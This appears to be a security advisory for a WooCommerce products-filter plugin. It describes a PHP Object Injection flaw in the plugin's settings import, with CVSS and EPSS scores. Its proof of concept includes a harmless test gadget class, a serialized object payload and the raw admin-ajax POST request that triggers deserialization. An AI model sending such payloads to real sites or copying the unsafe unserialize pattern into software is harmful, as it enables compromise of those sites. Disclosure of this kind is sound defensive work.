7.2 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
0.001 Low
EPSS
Percentile
16.9%
The plugin unserializes user input provided via the settings, which could allow high privilege users such as admin to perform PHP Object Injection when a suitable gadget is present.
1. To simulate a gadget chain, put the following code in a plugin:
class Evil {
public function __wakeup() : void {
die("Arbitrary deserialization");
}
}
2. First, enable Import/Export extension: WooCommerce > Settings > Products Filter > Extensions > Tick the box Import/Export > Save changes (requires the "WooCommerce" plugin to be active)
3. Use "Export/Import" function in WooCommerce > Settings > Products Filter > Advanced > Export/Import, and enter with the following content: {"evil":"O:4:\"Evil\":0:{}"}
4. When clicking "Import placed data", click "OK", We will get an "Arbitrary deserialization" message.
POST /wp-admin/admin-ajax.php HTTP/1.1
action=woof_do_import_data&import_value=%7B%22evil%22%3A%22O%3A4%3A%5C%22Evil%5C%22%3A0%3A%7B%7D%22%7D
7.2 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
0.001 Low
EPSS
Percentile
16.9%